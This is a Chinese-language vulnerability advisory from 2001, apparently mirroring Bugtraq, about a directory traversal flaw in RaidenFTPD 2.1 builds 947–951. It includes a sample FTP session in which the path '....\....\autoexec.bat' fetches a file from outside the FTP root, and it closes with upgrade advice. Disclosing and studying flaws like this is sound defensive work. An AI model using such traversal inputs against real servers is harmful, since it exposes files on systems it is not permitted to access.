发布日期：2001-05-02
更新日期：2001-05-02

受影响系统：

    Team JohnLong RaidenFTPD 2.1 build 951
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000
    Team JohnLong RaidenFTPD 2.1 build 950
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000
    Team JohnLong RaidenFTPD 2.1 build 949
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000
    Team JohnLong RaidenFTPD 2.1 build 948
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000
    Team JohnLong RaidenFTPD 2.1 build 947
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000

不受影响系统：

Team JohnLong RaidenFTPD 2.1 build 952
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000

描述：

---

BUGTRAQ ID: 2655

Raiden FTPD 很容易遭受目录遍历漏洞攻击，参看测试程序举例。远程攻击者可以访
问获取ftp根目录之外的文件。

<* 来源：(joetesta@hushmail.com) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from
http://playstation2.idv.tw/raiden-ftpd-site/
220-Download english version from http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog .
Password:
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ....\....\autoexec.bat
200 Port command ok.
150 Sending /....\....\autoexec.bat (419 bytes). Mode STREAM Type ASCII
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250 "/.." is current directory.
ftp>



建议：

---

    访问如下链接，升级软件包
    http://playstation2.idv.tw/download/raidenftpd2.zip




浏览次数：5020
严重程度：0（网友投票）